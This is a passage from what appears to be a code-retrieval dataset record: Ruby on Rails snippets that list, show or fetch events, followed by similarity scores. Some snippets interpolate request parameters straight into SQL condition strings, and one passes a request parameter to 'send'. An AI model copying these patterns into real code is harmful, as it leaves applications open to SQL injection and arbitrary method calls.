provider.user.stages.map(&:id)\n }).order(:datetime).limit(2)\n \n output = {}\n dates.each do |date| \n output[output.count] = ActiveSupport::Inflector.transliterate(date.event.title.slice(0,20))\n output[output.count] = date.datetime.strftime(\"%H:%M\") + \" \" + ActiveSupport::Inflector.transliterate(date.event.stage.name.gsub(/[a-z]|\\s/,''))\n end\n \n render json: output\n \n rescue ActiveRecord::RecordNotFound\n render json: {}\n end", "def show\n render json: @event, status: :ok\n end", "def index\n\t\t@events = Event.page(params[:page]).per(10)\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {\n\t\t\t\trender :json => @events.to_json\n\t\t\t}\n\t\tend\n\n\tend", "def events(dbname, &block)\n # can't use RestClient.get b/c of :block_response\n RestClient::Request.execute(:method => :get,\n :url => root_url('events', @storage, dbname),\n :headers => {:accept => \"text/event-stream\"},\n :block_response => block, &HANDLE_RESPONSE)\n end", "def index\n\n puts \"index\"\n puts \"Event #{Event.all.inspect}\"\n render :ok, json: Event.order(created_at: :desc)\n end", "def index\n\t\t@events = Event.where(\"creator_id = ?\", current_user.id)\n\t\tInvitation.where(\"email = ? and accepted = ?\", current_user.email, true).each do |invitation|\n\t\t\t@events << invitation.event\n\t\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def get_event_teams ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}/teams\"\n end", "def index\n @events = Event.where(\"date >= ?\", Date.today).order(:date).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = @calendar.events.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def index\n\t\tcards_per_page = 12\n\n\t\tif params[:tag]\n\t\t\tif user_signed_in? && current_user.has_role?(:admin)\n\t\t\t\t@events = Event.order(\"created_at DESC\").tagged_with(params[:tag]).page(params[:page]).per_page(cards_per_page) || Event.all \n\t\t\telse\n\t\t\t\t@events = Event.where('released_at <= ? AND finish_on >= ? AND published = TRUE', Time.now, Time.now).order(\"created_at DESC\").tagged_with(params[:tag]).page(params[:page]).per_page(cards_per_page) || Event.all \n\t\t\tend\n\t\telse\n\t\t\tif user_signed_in? && current_user.has_role?(:admin)\n\t\t\t\t@events = Event.order(\"created_at DESC\").page(params[:page]).per_page(cards_per_page) || Event.all\n\t\t\telse\n\t\t\t\t@events = Event.where('released_at <= ? AND finish_on >= ? AND published = TRUE', Time.now, Time.now).order(\"created_at DESC\").page(params[:page]).per_page(cards_per_page) || Event.all\n\t\t\tend\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end", "def index\n @events = Event.available.page(params[:page])\n end", "def events_feed\n @group = Group.find_by(id: params[:id]) || not_found\n not_found unless @group.status?\n raise 'NotGroupMember' unless @group.member?(current_user)\n @events = @group.events.confirmed.by_date\n\n feed = []\n @events.each do |event|\n next if event.date_tba == true\n event_link = url_for(\n controller: 'events', action: 'show', group_id: @group.id,\n id: event.id\n )\n feed << {\n date: event.start_time.strftime('%Y-%m-%d'),\n title: \"#{event.time != '' ? event.time : 'TBA'} - #{event.event_name}\",\n url: event_link,\n ticket_stats: event.ticket_stats(@group, current_user)\n }\n end\n render json: feed\n end", "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend", "def events(venue)\n get(:standard, {:method => \"venue.getEvents\", :venue => venue})\n end", "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @events, include: [:partner, :address] }\n end\n end", "def index\n number = request.query_parameters.first[1].to_i\n respond_with Event.where(date_time: Date.current..(Date.current + number.days))\n end", "def show\n @event = Event.find(params[:id])\n\n render json: @event, include: :talks\n end", "def index\n @event_events = Event::Event.paginate(:order => 'execute_at DESC', :page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_events }\n end\n end", "def index\n if params[:query].present?\n @events = GroupEvent.send(params[:query])\n else\n @events = GroupEvent.published\n end\n\n render json: @events\n end", "def index\n @events = @category.events\n render json: @events \n end", "def index\n @events = Event.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n format.json { render :json=>@events } \n end\n end", "def index\n @account_output_events = AccountOutputEvent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @account_output_events }\n end\n end", "def get_events\n # conditions = \"starttime >= '#{Time.at(params['start'].to_i).to_formatted_s(:db)}' AND endtime <= '#{Time.at(params['end'].to_i).to_formatted_s(:db)}'\"\n conditions = \"starttime >= '#{params['start'].to_time}' AND endtime <= '#{(params['end']+\" 23:59:59\").to_time}'\"\n if @profile\n @events = @profile.events.where conditions\n else\n conditions += \" AND profile_type = '#{event_params[:profile_type]}'\"\n @events = Event.where conditions\n end\n\n events = []\n @events.each do |event|\n events << {:id => event.id, :title => event.title, :description => event.description || \"Some cool description here...\", :start => \"#{event.starttime.iso8601}\", :end => \"#{event.endtime.iso8601}\", :allDay => event.all_day, :recurring => (event.event_series_id) ? true : false}\n end\n set_profile\n render :text => events.to_json\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n @events = Event.all\n @event = Event.new\n\n respond_to do |format|\n format.html\n format.json { render 'events/index', events: @events }\n end\n end", "def show\n render json: format_event(@event)\n end", "def index\n @events = Event.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @events\n end", "def events\n\t\t@user = User.find_by_id(params[:id]) || current_user\n\t\t@avas = @user.availabilities\n\t\t@events = @avas.map do |event|\n\t\t\tif event.start_time < DateTime.now\n\t\t\t\tcolor = \"#D8841B\"\n\t\t\t\tstatus = \"past\"\n\t\t\telsif event.class_rooms.class_chats.present?\n\t\t\t\tcolor = \"#c70019\"\n\t\t\t\tstatus = \"accepted\"\n\t\t\telsif event.class_rooms.for_student(current_user).present?\n\t\t\t\tcolor = \"#36B3DB\"\n\t\t\t\tstatus = \"requested\"\n\t\t\telse\n\t\t\t\tcolor = \"#56BF56\"\n\t\t\t\tstatus = \"available\"\n\t\t\tend\n\t\t\t{ id: event.id, start: event.start_time, end: event.end_time, color: color, eventBackgroundColor: color, status: status }\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def index\n event_id = current_event.id\n event_id = params[:event_id] if params.has_key?(:event_id)\n @entrants = Entrant.all(:conditions => \"event_id = #{event_id}\",\n :order => \"number ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entrants }\n end\n end", "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all(:conditions => ['status like ? ', true])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def get(name = nil, token = :last, not_found = :wait, found = :return, options = {})\n @raw = send_get_request(@conn, ['/v1/event/list'], options, use_named_parameter('name', name))\n body = JSON.parse(@raw.body)\n # TODO: deal with unknown symbols, invalid indices (find_index will return nil)\n idx = case token\n when :first then 0\n when :last then body.length - 1\n when :next then body.length\n else body.find_index { |e| e['ID'] == token } + 1\n end\n if JSON.parse(@raw.body).count.zero? || idx == body.length\n case not_found\n when :reject\n raise Diplomat::EventNotFound, name\n when :return\n event_name = ''\n event_payload = ''\n event_token = :last\n when :wait\n @raw = wait_for_next_event(['/v1/event/list'], options, use_named_parameter('name', name))\n @raw = parse_body\n # If it's possible for two events to arrive at once,\n # this needs to #find again:\n event = @raw.last\n event_name = event['Name']\n event_payload = Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n else\n case found\n when :reject\n raise Diplomat::EventAlreadyExits, name\n when :return\n event = body[idx]\n event_name = event['Name']\n event_payload = event['Payload'].nil? ? nil : Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n end\n\n {\n value: { name: event_name, payload: event_payload },\n token: event_token\n }\n end", "def venue_events(id)\n get(\"venues/#{id}/events\").events\n end", "def index\n respond_to do |format|\n format.html do\n load_html_events\n end\n format.xml do\n load_data_events\n render :xml => @events\n end\n format.json do\n load_data_events\n render :json => @events\n end\n end\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end", "def index\n if params[:event_id]\n @event = Event.find(params[:event_id])\n @rounds = Round.where(\"event_id = ?\", params[:event_id])\n else\n @rounds = Round.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rounds }\n end\n end", "def fetch_events\n params = {'calendarId' => CONFIG[:cal_id], \n 'orderBy' => 'startTime',\n #'timeMax' => Time.utc(CONFIG[:year].to_i + 1, 4, 1).iso8601, \n #'timeMin' => Time.utc(CONFIG[:year].to_i, 4, 1).iso8601,\n 'singleEvents' => 'True'}\n \n result = @client.execute(:api_method => @cal.events.list, :parameters => params)\n\n @events_list = []\n result.data.items.each do |item|\n @events_list << item\n end\n end", "def all(params = {})\n req = WebPay::EventListRequest.create(params)\n raw_response = @client._request(:get, 'events', req)\n WebPay::EventResponseList.new(raw_response)\n end" ]
[ "0.75706184", "0.72222155", "0.7174718", "0.7149552", "0.6972302", "0.6961184", "0.6932244", "0.6913124", "0.6913124", "0.688856", "0.6853928", "0.68329096", "0.68036115", "0.67919356", "0.6789172", "0.6776667", "0.67610884", "0.6759066", "0.6754364", "0.6744936", "0.67406684", "0.67406213", "0.67376643", "0.6724453", "0.6722995", "0.6718247", "0.6709743", "0.669405", "0.6675642", "0.6650134", "0.663813", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.6631388", "0.66304016", "0.6616644", "0.66129524", "0.6604704", "0.65792537", "0.65782267", "0.6574625", "0.65661925", "0.6554647", "0.653891", "0.6537258", "0.6537117", "0.6497462", "0.64908504", "0.64782155", "0.6476269", "0.64761364", "0.6471319", "0.6468751", "0.6461184", "0.64601266", "0.6459215", "0.6442826", "0.64275926", "0.6412479", "0.6410017", "0.63871247", "0.6385743", "0.63842285", "0.63827944", "0.638015", "0.6376374", "0.6369853", "0.63429165", "0.63405097", "0.63400185", "0.63343936", "0.6329203", "0.6328106", "0.63126636", "0.63126636", "0.63126636", "0.63126636", "0.63126636", "0.6311031", "0.6302538", "0.6302272", "0.6297985", "0.6294615", "0.62944746", "0.62924445", "0.62923473", "0.6281606", "0.6278012", "0.6261398", "0.62581944", "0.6248169", "0.6246868", "0.6240684" ]
0.74627596
1
GET /bet_events/1 GET /bet_events/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n @bet_events = BetEvent.all\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def past_events\n @events = Event.past\n render json: @events, include: :talks\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index\n @event = Event.all\n render json: @event\n end", "def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end", "def index\n render json: Event.all, status: :ok\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def index\n if params[:event_id].blank?\n @offerings = Offering.all\n else\n @offerings = Offering.find_all_by_event_id params[:event_id]\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def show\n render json: @event, status: :ok\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end", "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @bid_events = BidEvent.all\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end", "def state_events(state)\n api_return = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?stateCode=' + state + '&apikey=' + $ticket_master_api_key)\n JSON.parse(api_return)\nend", "def pebble\n provider = Account.find(params[:provider_id])\n\n dates = EventDate.where(\"datetime>:now AND stage_id IN (:stage_id)\", {\n :now => (Time.now + 2.hours),\n :stage_id => provider.user.stages.map(&:id)\n }).order(:datetime).limit(2)\n \n output = {}\n dates.each do |date| \n output[output.count] = ActiveSupport::Inflector.transliterate(date.event.title.slice(0,20))\n output[output.count] = date.datetime.strftime(\"%H:%M\") + \" \" + ActiveSupport::Inflector.transliterate(date.event.stage.name.gsub(/[a-z]|\\s/,''))\n end\n \n render json: output\n \n rescue ActiveRecord::RecordNotFound\n render json: {}\n end", "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end", "def index\n @events = Event.all\n\n render json: @events, include: :talks\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = getUpcomingEvents()\n \n @page_title = \"Events\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def show\n @event = Event.find(params[:id])\n render json: @event\n end", "def index\n\n puts \"index\"\n puts \"Event #{Event.all.inspect}\"\n render :ok, json: Event.order(created_at: :desc)\n end", "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def set_bet_event\n @bet_event = BetEvent.find(params[:id])\n end", "def index\n @verbindung = Verbindung.find(params[:verbindung_id])\n @events = Event.where(:verbindung_id => @verbindung.id).where(\"date >= ?\", Date.today).order(\"date\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def index\n begin\n events = Event.all\n render :json => {events: ActiveModel::ArraySerializer.new(events, each_serializer: EventsSerializer), :code => 200}, status: :ok\n rescue Exception => e\n logger.error {\"Error while populating list of events. ErrorMessage: #{e.message}, Params: #{params.inspect}\"}\n render json: {error: e.message, code: 500}\n end\n end", "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end", "def show\n render json: format_event(@event)\n end", "def index\n number = request.query_parameters.first[1].to_i\n respond_with Event.where(date_time: Date.current..(Date.current + number.days))\n end", "def index\n @events = Event.all\n @event = Event.new\n\n respond_to do |format|\n format.html\n format.json { render 'events/index', events: @events }\n end\n end", "def show\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myevent }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n render json: @event, include: :talks\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def index\n respond_with(@events)\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n tenantId = params[:tenantId]\n if tenantId.present?\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: tenantId).page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def get_event_list ( year )\n get_api_resource \"#{@@api_base_url}events/#{year}\"\n end", "def index\n @events = Event.where(\"date >= ?\", Date.today).order(:date).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @event = Event.find(params[:event_id])\n\n end", "def get(name = nil, token = :last, not_found = :wait, found = :return, options = {})\n @raw = send_get_request(@conn, ['/v1/event/list'], options, use_named_parameter('name', name))\n body = JSON.parse(@raw.body)\n # TODO: deal with unknown symbols, invalid indices (find_index will return nil)\n idx = case token\n when :first then 0\n when :last then body.length - 1\n when :next then body.length\n else body.find_index { |e| e['ID'] == token } + 1\n end\n if JSON.parse(@raw.body).count.zero? || idx == body.length\n case not_found\n when :reject\n raise Diplomat::EventNotFound, name\n when :return\n event_name = ''\n event_payload = ''\n event_token = :last\n when :wait\n @raw = wait_for_next_event(['/v1/event/list'], options, use_named_parameter('name', name))\n @raw = parse_body\n # If it's possible for two events to arrive at once,\n # this needs to #find again:\n event = @raw.last\n event_name = event['Name']\n event_payload = Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n else\n case found\n when :reject\n raise Diplomat::EventAlreadyExits, name\n when :return\n event = body[idx]\n event_name = event['Name']\n event_payload = event['Payload'].nil? ? nil : Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n end\n\n {\n value: { name: event_name, payload: event_payload },\n token: event_token\n }\n end", "def index\n if params[:event_id]\n @event = Event.find(params[:event_id])\n @rounds = Round.where(\"event_id = ?\", params[:event_id])\n else\n @rounds = Round.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rounds }\n end\n end", "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "def show\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_event }\n end\n end", "def index\n @events = Event.all(:conditions => ['status like ? ', true])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n event_id = current_event.id\n event_id = params[:event_id] if params.has_key?(:event_id)\n @entrants = Entrant.all(:conditions => \"event_id = #{event_id}\",\n :order => \"number ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entrants }\n end\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def get(event_id)\n @client.request \"events/#{event_id}\"\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event } \n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end" ]
[ "0.723407", "0.7224591", "0.68400234", "0.6839644", "0.6816163", "0.67606205", "0.67606205", "0.6723486", "0.67207307", "0.6700286", "0.66708946", "0.6637529", "0.6623586", "0.66231763", "0.6619626", "0.66138554", "0.66018945", "0.6599718", "0.6598707", "0.6598473", "0.65965074", "0.6594336", "0.65930736", "0.6583977", "0.6564805", "0.6562822", "0.6544581", "0.6517015", "0.65064174", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6502639", "0.6500238", "0.64984477", "0.6487306", "0.6487041", "0.647966", "0.64710695", "0.6442563", "0.6439037", "0.6416791", "0.64159805", "0.64152956", "0.63983476", "0.63979477", "0.6387799", "0.6385802", "0.6383912", "0.6376429", "0.63732237", "0.6366317", "0.63428193", "0.6341551", "0.6341551", "0.6341551", "0.6341551", "0.6341551", "0.6333629", "0.6325192", "0.63160515", "0.63153565", "0.6314088", "0.63082886", "0.6296844", "0.629414", "0.6292274", "0.62880087", "0.62861174", "0.62708706", "0.62708706", "0.6259347", "0.6245796", "0.6236112", "0.6235903", "0.6235503", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858", "0.6234858" ]
0.0
-1
POST /bet_events POST /bet_events.json
def create @bet_event = BetEvent.new(bet_event_params) respond_to do |format| if @bet_event.save format.html { redirect_to @bet_event, notice: 'Bet event was successfully created.' } format.json { render :show, status: :created, location: @bet_event } else format.html { render :new } format.json { render json: @bet_event.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n megam_rest.post_event(to_hash)\n end", "def create\n Rails.logger.debug(\"Received event #{params[:event]}\")\n head :ok\n end", "def create\n @bid_event = BidEvent.new(bid_event_params)\n\n respond_to do |format|\n if @bid_event.save\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @bid_event }\n else\n format.html { redirect_to :back }\n format.json { render json: @bid_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end", "def save\n event = params\n # This assumes that all keys exists. Yay no error handling...\n toSave = Event.new(update_type: event[:event],\n start_time: event[:payload][:event][:start_time_pretty],\n end_time: event[:payload][:event][:end_time_pretty],\n location: event[:payload][:event][:location],\n invitee_name: event[:payload][:invitee][:name],\n duration: event[:payload][:event_type][:duration],\n event_kind: event[:payload][:event_type][:kind])\n toSave.save\n render json: {}, status: 200\n end", "def bet_event_params\n params.require(:bet_event).permit(:name, :description, :end_time, :status, :winning_option)\n end", "def create_event event, data={}\n data[:event] = event\n post '/event', data\n end", "def create\n event = Event.new(event_params)\n event.save!\n render json: event\n end", "def create\n @event = Event.new(params[:event])\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n params[:event] = convert_datetimes( params[:event] )\n @event = @current_account.events.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_event(url, event, payload_type, payload)\n body = {\n :event => event,\n :payload_type => payload_type }\n body[:payload] = payload if payload\n\n http_post(url) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = body.to_json\n req.params['verification'] = 1 if event == 'verification'\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n \tdata = { data: @event, status: :created, message: \"Event was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def create\n @event = Event.new(event_params)\n if @event.save\n head :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n puts params[:event]\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_events\n end", "def event_type\n :bid_posted\n end", "def create\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n# @event.create_eventbrite_event(event_params)\n# @event.create_eventbrite_tickets\n\n\n respond_to do |format|\n if 